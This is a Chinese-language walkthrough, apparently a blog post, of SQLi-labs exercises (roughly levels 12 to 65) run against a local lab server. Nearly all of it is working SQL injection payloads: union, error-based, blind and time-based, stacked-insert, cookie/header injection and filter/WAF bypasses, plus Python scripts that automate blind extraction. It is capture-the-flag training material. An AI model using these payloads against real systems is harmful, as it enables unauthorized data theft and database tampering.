- 加" 报错
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1
- 尝试绕过获取
	admin ") -- // 注意 -- 后面有个空格，绕过
	之后就是获取数据了
	-1") union select 1,database() -- // 获取数据库为security
	-1") union select 1,group_concat(0x7c,table_name,0x7c) from information_schema.tables where table_schema=database() -- // 获取表 
	-1") union select 1,group_concat(0x7c,column_name,0x7c) from information_schema.columns where table_name='users' -- // 获取字段
	-1") union select 1,group_concat(0x7c,username,0x7e,password,0x7c) from users -- // 拿到数据

Less-13 POST 单引号变形双注入

- 正常访问
admin/admin 发现没有返回值，那么这里就有可能是正确没有返回值

- 尝试绕过
 通过 a') or 1=1 --  // 绕过验证
 获取尝试 永真闭合 ') or ('1')=('1
 为什么这里可以闭合呢，这个和之前的注释符闭合类似，

 之后尝试获取数据
- 获取数据
	0') union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 
 	0') union select count(*),concat('~',(select table_name from information_schema.tables  where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a  from information_schema.tables  group by a # // users
    0') union select count(*),concat('~',(select column_name from information_schema.columns  where table_name='users' limit 1,1),'~',floor(rand(0)*2)) a  from information_schema.columns  group by a # 
     0') union select count(*),concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a  from information_schema.columns  group by a #

通过闭合成功获取到了用户名和密码

Less-14 POST双引号变形双注入

来看一下源码，闭合很简单，就不多叙述了，为什么要用双注呢，和get类似，反正正确，错误无回显，但是语句报错，这里就想到使用双注去执行。

- 正常访问
admin/admin
访问正常
- 绕过
和13一样 改单引号为双引号就可以绕过
" or "1"="1 这样就可以绕过验证登录
- 获取数据
0" union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select password from users limit 0,1),'~',floor(rand(0)*2)) a from users group by a #
0" union  select count(*),concat( '~',(select concat(id,username,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.schemata group by a %23
// 注意 由于正常访问没有回显 ，所以最好加个-1 来报错
成功获取到用户名和密码

Less-15 基于bool型/时间延迟单引号POST型盲注

-正常访问
admin/admin
登录成功

- 脚本跑
 理解扫描的方式： 确定数据库的数量，确定数据库的长度，确定数据库
 我们可以通过大于数据库的个数这样就不用去判断数据库的长度，之后长度也可以通过时间报错信息去判断，在加上判断 是否是这个字符 一共需要三层循环就可以解决
  这里有两种方式去判断 ，使用ascii判断 ，或者通过mid 截断去判断。
   data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
   data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
   data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
   data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
   data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}

- 绕过
' or sleep(5) --  存在延时

看一下脚本
- 脚本跑
 理解扫描的方式： 确定数据库的数量，确定数据库的长度，确定数据库
 我们可以通过大于数据库的个数这样就不用去判断数据库的长度，之后长度也可以通过时间报错信息去判断，在加上判断 是否是这个字符 一共需要三层循环就可以解决
  这里有两种方式去判断 ，使用ascii判断 ，或者通过mid 截断去判断。

#coding:utf-8
import requests
from time import time
url = "http://192.168.64.135/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
    database = ""
    for j in range(1,20):
        for str in char:

            time1 = time()
            data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#"%(i,j,str),'passwd':"1"}
            res = requests.post(url,data=data)

            time2 = time()

            if (time2-time1 > 0.1 ):
                database += str
                #print(database)
                break
    print("the %d database: "% (i+1))
    print(database)
print("end!")

Less-16 post方法双引号括号绕过时间盲

嗯 。。。 和上一关就一个单引号和双引号之差
修改admin' 为 admin ")

Less-17 基于错误的更新查询POST注入

注意，如果注入不当，可能导致user的表被清空

这道题的源码还是要好好看看的,发现存在update ，所以这道题要小心，避免错误的删除数据

而且这道题对于uname检查严格，但是password没有检查，所以我们的注入点就限制在了password

注意 如果使用不当，
这里可以使用updatexml进行注入
updatexml用法 ： updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1) 
测试发现注入点在password处 uname 过滤了很多，所以从password处出发
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
之后只要在@@version 处添加合适的查询语句就可以构成注入

Less-18 基于错误的用户代理，头部POST注入

为何host头存在注入，这个也比较少见，但是知道只要和数据库有交互就有可能存在注入

插入了ua头，所以可以从这里下手

可以看到uname和passwd都进行了过滤，这里有个注意点，在平常的渗透中，当输入点没有注入，可以想想是否在其他地方有注入，程序员对于普通用户的输入点过滤严格，但是其他地方却没有进行过滤，导致了注入的发生，也是需要我们多多注意

这里考察 host头部注入，一般相对于参数比较难以查找，也不容易判断，一般判断的方式是通过模糊测试去尝试，或者在可能出现注入的地方添加* 通过sqlmap去测试。
而且要善于去发现页面返回的信息，也许这都是与数据库有交互的点。

这道题返回的信息有host和ua ，那么我们可以通过给这两个地方加* 放进sqlmap去测试，或者加点查看是否出现报错
通过测试发现在ua处加'返回了错误提示，那么我们就尝试从这里拿下
' and '1='1 # 闭合 所以接下来就是在这里通过查询语句获取flag了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息

如何查询呢，需要使用到burp 抓包，挂上代理，burp抓包发送到 repeater去查看

Less-19 基于头部的RefererPOST报错注入

看一下源码，对于referer插入了sql语句，并且没有进行过滤，这就导致了注入

与上题类似，通过返回值判断注入，猜想可能发生在referer处
测试语句与less-18类似
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
发现闭合 成功注入

Less-20 基于错误的cookie头部POST注入

这里可以看到对于cookie没有进行过滤，并且第二次会拿出cookie调用sql语句，这里就达成了注入的条件。
登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄，并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错 

Cookie: uname=admin1 ' or updatexml(0,concat(0x5e24,user(),0x5e24)
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
成功绕过，注入成功

从21开始就添加了比较复杂的过滤，让我们拭目以待。

Less-21 基于错误的复杂的字符型Cookie注入

可以看到 cookie没有进行检测过滤，base编码后就进行了查询

使用sqlmap 注入，一定要记得添加编码方式，不然检测不出来

这一题和上一题类似，只是对cookie进行了base64编码，使用sqlmap的 tamper可以绕过
手工测试和20题一样，将20题的payload进行base64编码即可
但是发现#编码后执行失败，换用'1'='1闭合语句
admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICcxJz0nMQ==

Less-22 基于错误的双引号字符型Cookie注入)

查看源码，和21只有这一个区别。

这里闭合需要"去闭合，将单引号换成双引号 成功绕过
admin" and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and "1"="1
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICIxIj0iMQo%3d

Less-23 基于错误的，过滤注释的GET型

分析源码

对id进行了两次过滤，#和–+被过滤，

这里可以通过 or ‘1’=‘1 来代替注释符，另一种做法是通过union联合查询，添加到语句中间，然后闭合后面的单引号就可以正常的查询了

通过union 查询，在3处闭合 将查询语句写入
-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),'3
另一个方式
-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1

Less-24 二次注入

拿到这道题，可能和之前的有些许区别，主要这道题注入点不在前端，而是因为数据在二次调用的时候没有过滤，导致了用户通过构造payload绕过去修改其他用户的密码

查看源码，可以看到对于username没有过滤，直接引用了，导致构造的用户修改密码时修改其他用户的密码，并且不需要curr_pass

构造payload admin'# 即可闭合sql语句 使得password=$curr_pass不起作用
首先创建用户 admin'# 登录此用户，之后修改密码，修改后尝试登录admin用户，发现登录成功。

Less-25 过滤了or和and

看看源码，函数对于id进行了替换，or和and ，基本可以使得大多注入语句失效

尝试输入注入语句，发现当输入or 或者 and的时候被过滤，可能是黑名单绕过
Hint: Your Input is Filtered with following result: 1 1=1
尝试双写 发现绕过过滤，
-1' anandd updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
将and和or 换成 && 和 || 同样可以绕过

这道题还有个25a 过滤了or和and的盲注
我们可以直接这样注入
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

Less-26 过滤了注释和空格的注入

查看源码
function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格

用%A0替代空格使用，用&&(%26%26)替代AND使用
构造payload： 0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要将空格和and绕过 那么实现就简单了
or和and 很好过滤，注释过滤了就使用永真闭合，

Less-26a 过滤了空格和注释的盲注

和上一题区别不大
通过检测 0'||'1'='1 判断是'
也可以通过fuzz去查看 发现 '） ") 无报错
使用盲注ok

0'||left(database(),1)>'s'%26%26'1'='1

尝试绕过，这两个都可以绕过
0')%a0union%a0select%a01,2,3||('1
0')%a0union%a0select%a01,2,3;%00
虽然这道题说是盲注，但是通过闭合 也可以直接爆出结果。

Less-27 过滤了union和select

做了这么多了，下来就不说如何拿到数据了，重点在于如何绕过，只要能够找到注入点，剩下的可以利用sqlmap 等等工具直接利用，毕竟在渗透中，没有那么多的时间让我们去消耗

过滤了union和select
绕过方式：双写 大小写
0'%0aUnioN%0aSeleCT%0a1,2,3;%00
0'%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0'1

这里说明一下，冒号可以做闭合用， %00用来截断 这样和注释有相同的含义，这下绕过就多了：注释，分号闭合，冒号%00截断

Less-27a 过滤了union和select

看一下源码，过滤了常见的几个语句，但是黑名单很好绕的，毕竟没有谁能将所有的都加入其中，这样会影响正常的工作

和上一题一样，但是把单引号换成了双引号
替换上一题的payload即可绕过

0"%0aUNion%0aseLEct%0a1,2,3%26%26%0a"1
0"%0aUNion%0aseLEct%0a1,2,3;%00

Less-28 过滤了union和select大小写

过滤注释空格，union 和select在一起的使用

0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1
使用盲注也可以达到注入的目录
0')||left(database(),1)='s';%00

但是出现注入的原因是大小写不严格导致，mysql语句中，对大小写不敏感，所以单独的过滤某个函数是没有用的，必须转成小写在判断。这样就可以把大小写给过滤了。

Less-28a盲注过滤了union和select大小写

看看源码，过滤不严格，导致了注释可以使用

类似于28 这里可以使用注释
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+

Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。

从29关开始，不再是一个index.php文件了

第一个文件是错误输出显示了

第二个index.php 在熟悉不过了，返回了

第三个是个login.php

简单说一下这道题的原理
这里的waf指的是jsp服务器，这里起到防火墙的作用，数据会经过jsp服务器过滤之后传入php服务器中，php服务器之后将数据返回到jsp服务器，打印到客户端。
这里我们可以传两个参数  id=1&id=2 ，判断是谁获取了第一个值，谁又拿到了第二个值
此处应该是id=2的内容，应为时间上提供服务的是apache（php）服务器，返回的数据也应该是apache处理的数据。而在我们实际应用中，也是有两层服务器的情况，那为什么要这么做？是因为我们往往在tomcat服务器处做数据过滤和处理，功能类似为一个WAF。而正因为解析参数的不同，我们此处可以利用该原理绕过WAF的检测。该用法就是HPP（HTTP Parameter Pollution），http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁

payload：0' union all sElect 1,database(),3 --+

首先传入两个参数 id=1 &id=0’ 第二个参数被服务器拿到了，处理然后返回了结果，所以这次注入需要两个参数

http://192.168.64.135/Less-29/?id=1&id=0%27%20union%20all%20sElect%201,database(),3%20–+

通过对第二个参数进行注入成功获取数据

Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+

Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。

判断发现可以通过") --+ 闭合
id=1&id=0")  union select 1,2,database() --+

Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器

注释发现 系统会给特殊字符添加转义\
那么我们是否可以编码绕过，发现编码不行
尝试转换成16进制也不ok
百度一下，得到了这道题的做法：宽字节注入，由于数据库编码与前端编码不一致导致存在注入

汉字是由两个字节编码的，由于gbk和utf-8编码不一致导致报错，为了构成报错，我们需要添加一个大于128的编码

0%df'  union select 1,database(),3 --+
成功绕过

Less-33 bypass Addslashes()

这里主要是如何绕过addslashes()这个函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是：

    单引号（'）
    双引号（"）
    反斜杠（\）
    NULL

提示：该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
这里和32 差别不大 一个是自定义添加，另一个是使用函数添加
0%df'  union select 1,database(),3 --+

Less-34 bypass Addslashes()

和上一关差别不大，使用post请求
一样的宽字节注入，并且在uname和passwd处都存在注入
uname=0%df'  union select 1,database() --+&passwd=0&submit=Submit

Less-35 GET-Bypass添加斜杠(我们不需要)整数

这里输入的整数 直接--+ 就可以绕过了
0 union select 1,database(),3 --+

Less-36 GET-Bypass MySQLreal escape_string

先来看看这个函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响：

    \x00
    \n
    \r
    \
    '
    "
    \x1a

如果成功，则该函数返回被转义的字符串。如果失败，则返回 false。
而这个函数可以通过以下语句绕过
aaa' OR 1=1 --

0%df' union select 1,2,database() --+

Less-37 POST-Bypass MySQLreal escape_string

到了后面，主要讲思路，语句基本都会了
这里是post方式，我们抓包 添加语句到uname或者passwd中，同样是添加'%df报错，查询 --+做注释

uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit
成功绕过

Less-38 层次化查询

可以直接正常注入
主要看下这个函数
mysqli_more_results() 检查一个多重查询语句中是否有更多结果

Less-38 层次化查询

也叫堆叠注入
简单来说 就是通过将多条语句通过；隔开写在一起构成多语句，由于未对参数进行处理导致多条语句正常执行
堆叠查询受限于api或者数据库引擎不支持的限制，权限不足也会限制语句执行

1';insert into users(id,username,password) values ('16','a','a')--

Less-39 GET - Stacked Query Injection - Intiger based

语句都一样，重点是找到闭合的方式
1;insert into users(id,username,password) values (16,'a','a')--

Less-40 GET-BLIND - based - String - stacked

1'); insert into users(id,username,password) values ('17','a','a')--+

Less-41 GET - BLIND based - Intiger - Stacked

1; insert into users(id,username,password) values(18,'b','b') --+

Less-42 POST - Stacked Query error based

经过验证，在password处语句报错，所以我们需要从passowrd入手

0';create table aaa like users #

Less-43 POST- Stacked Query error based with twist

和 42 类似 同样password 未过滤

login_user=1&login_password=a');create table less43 like users#&mysubmit=Login

Less-44 POST - Error based - String - Stacked -Blind

login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login

Less-45 POST - Error based - String - Stacked - Blind

login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Login

Less-46 ORDER BY-Error-Numeric

终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错，而报错提示与order by 提示相同，猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23

Less-47 ORDER BY Clause-Error-Single quote

和46有少许区别，做到这里基本套路应该都懂了，从不需要单引号，双引号之类的报错，到盲注，难度都是一步一步深入
sort=4' and (select count(*)  from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2)))  --+
注意 and后面的语句要使用（）括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

Less-48 ORDER BY Clause Blind based

这一题 需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
之后通过if判断是否相等 去获取值
之后构成 if(ascii(substr(datbase(),1,1)))

或者使用rand(ascii(left(database,1))=115) 同样获取相同的效果

Less-49 ORDER BY Clause Blind based

同样是盲注，和48类似
这一题使用延时盲注解决
获取长度
1 and if(length(database())=8,sleep(5),0)--+
获取值
1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+

Less-50 ORDER BY Clause Blind based

检测 返回只有正确或者错误，属于盲注

通过报错注入 也能获取
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Less-51 ORDER BY Clause Blind based

sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

Less-52 ORDER BY Clause Blind based

测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+

Less - 53 ORDER BY Clause Blind based

通过测试发现回显只有正确和错误，所以这道题做法基本就是盲注了，
4' and if(length(database()) = 8 ,0,sleep(6)) --+
1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) and '1'='1

又要进入一个新的过渡了

Less-54 GET-challenge-Union-10 queries allowed-Variation 1

挑战 ，允许查询10次，先不急去查看，观察一下需要输入的内容
所以，我们只有10次机会，
一般获取一个表正常需要获取数据库，到表，到列，再到数据，所以最少需要4步，而这里我们需要用6步猜测出来注入
回忆一下前面的注入， get类型的包含但不限于单引号，双引号，bool，堆叠，延时，报错，字符型和数字型，双注。

第一道题 采用最简单的'注入
http://192.168.64.135/Less-54/?id=1%27%20order%20by%203%20%23 // True
http://192.168.64.135/Less-54/?id=1%27%20order%20by%204%20%23 // false
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(secret_4XCQ)%20from%208T3YRE3TXR%20%23 // True aefBbyoeStF7Edc3FZa4G5C4

Less-55 GET-challenge-Union-14 queries allowed-Variation 2

线索： 告诉了测试次数14次， union测试 数据库challenges
第一次挑战 失败 
' " ') ") 均没有回显 初次猜测报错注入或者双注
第二次尝试
) 闭合
获取表
=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP
获取列
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B
获取key
0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH

Less-56 GET-challenge-Union-14 queries allowed-Variation 3

这次老老实实绕过
id=1' %23 // False
id=1" %23 // True 但是注入 union报错
添加为
id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23 
获取表
0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23 
KOUNR4QC6G
获取列
0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD
获取key
0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1

Less-57 GET-challenge-Union-14 queries allowed-Variation 4

做法 和之前一样
0" union select 1,2,3 %23
通过改变0之后的值达到闭合的目的

获取表
0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O
获取列
0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM
获取key
0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ

Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1

这道题 不看题目可能需要测好久
这次使用双注来报错查询
http://192.168.64.135/Less-58/?id=1%27and%20%271%27=%271 // True 绕过

获取表
1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27
获取列
1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13
获取key
1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL

Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2

先测试类型
有报错，可以注入
这次不需要过滤 
获取表
1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247
获取列
1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3
获取key
1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5

Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3

测试 单引号 双引号 ) ') ") 发现") 闭合 绕过

获取表
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0
获取 列
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6
获取key
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP

Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4

通过1' 判断闭合

获取表
1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
EKP9EVPEDH
获取列
1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64
获取key
1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq

Less-62 GET-challenge-Blind- 130 queries allowed -variation 1

这里面还有盲注，坑啊， 这里就只测试注入点
剩下的大家自己完成，这里发现sqlmap测试，不会导致页面重置，超过130次还可以执行
获取注入点1') %23
这里尝试写脚本试试

先写个爆破数据库的 
## 这里通过 ') %23 可构成闭合

from urllib import request
from urllib import parse
import  re

url ='http://192.168.64.135/Less-62/?id='

# length
num = 0
for i in range(1,20):
    num +=1
    param = '1 \') and (length(database())='+str(i)+') #'
    response = request.urlopen(url+parse.quote(param)).read().decode()
    if (re.search("Angelina",response)):
        print("length:" + str(i))
        break

database = ""
for i in range(10):
    a = b =64
    while True:
        num +=1
        b = int(b/2)
        param = '1 \')  and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'
        response = request.urlopen(url+parse.quote(param)).read().decode()
        #print(url+parse.quote(param))
        if (re.search("Angelina", response)):
            a -=b
        else:
            param = '1 \')  and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'
            response = request.urlopen(url + parse.quote(param)).read().decode()
            #print(url + parse.quote(param))
            if (re.search("Angelina", response)):
                database +=chr(a)
                break
            else:
                a +=b

print(database)

之后爆破表 这一题写个完整的，之后就简略的写出注入点，
爆破表，拿上面的修修改改
通过检查，先确定表的长度，再去爆破
爆破前记得重置，因为130次比较少
# 查表的数量
table_num = 0

while True:
    param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
    response = request.urlopen(url + parse.quote(param)).read().decode()
    print(url+parse.quote(param))
    if (re.search("Angelina",response)):
        print("table_num:"+str(table_num))
        break
    else:
        table_num += 1
print(table_num)

# # 确定表的长度
table_length = 0
while True:
    param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'
    response = request.urlopen(url+parse.quote(param)).read().decode()
    print(url+parse.quote(param))
    if (re.search("Angelina", response)):
        print("table_num:" + str(table_length))
        break
    else:
        table_length += 1

# 获取表名
table_name=""
for i in range(1,11):
    a=b=64
    while True:
        b= int(b/2)
        param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'
        response = request.urlopen(url+parse.quote(param)).read().decode()
        print(url+parse.quote(param))
        if (re.search("Angelina", response)):
            a -=b
        else:
            param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'
            response = request.urlopen(url + parse.quote(param)).read().decode()
            print(url + parse.quote(param))
            if (re.search("Angelina", response)):
                table_name +=chr(a)
                break
            else:
                a +=b

print(table_name)

J8CLO25SRR

最后查列，这里发现写的脚本比较费时，所以稍微修改一下
column_name =""
for i in range(7,11):
    a=b=64
    while True:
        b= int(b/2)
        param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'
        response = request.urlopen(url+parse.quote(param)).read().decode()
        print(url+parse.quote(param))
        if (re.search("Angelina", response)):
            a -=b
        else:
            param = '1 \')  and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'
            response = request.urlopen(url + parse.quote(param)).read().decode()
            print(url + parse.quote(param))
            if (re.search("Angelina", response)):
                column_name +=chr(a)
                break
            else:
                a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name

# 查 key
for i in range(1,25):
    a=b=64
    while True:
        b= int(b/2)
        param = '1 \')  and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'
        response = request.urlopen(url+parse.quote(param)).read().decode()
        print(url+parse.quote(param))
        if (re.search("Angelina", response)):
            a -=b
        else:
            param = '1 \')  and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'
            response = request.urlopen(url + parse.quote(param)).read().decode()
            print(url + parse.quote(param))
            if (re.search("Angelina", response)):
                key +=chr(a)
                break
            else:
                a +=b
# 这里脚本不满足复杂度，不能在130以内弄出来，作为参考，等我去翻翻算法，在回来改

Less-63 GET-challenge-Blind- 130 queries allowed -variation 2

和上一题类似
这里就判断注入类型，和如何闭合
1' order by 4 %23
通过判断 发现3 返回正常 4 错误
所以之后的做法就和62 一样

Less-64 GET-challenge-Blind- 130 queries allowed -variation 3

测试了 '  " ) )) ') ") ')) "))
1)) order by 3 %23 闭合

Less-65 GET-challenge-Blind- 130 queries allowed -variation 4

和上一题一样，通过测试闭合
发现 ") 绕过 闭合 
这里还有一种做法，将需要绕过的写入txt文件，之后通过burp去爆破，通过判断返回值也可以达到相同的效果

你可能感兴趣的:(#,sql注入)

福建科立讯通信指挥调度管理平台 SQL注入漏洞复现(CVE-2024-2620、CVE-2024-2621) OidBoy_G 漏洞复现安全 web安全
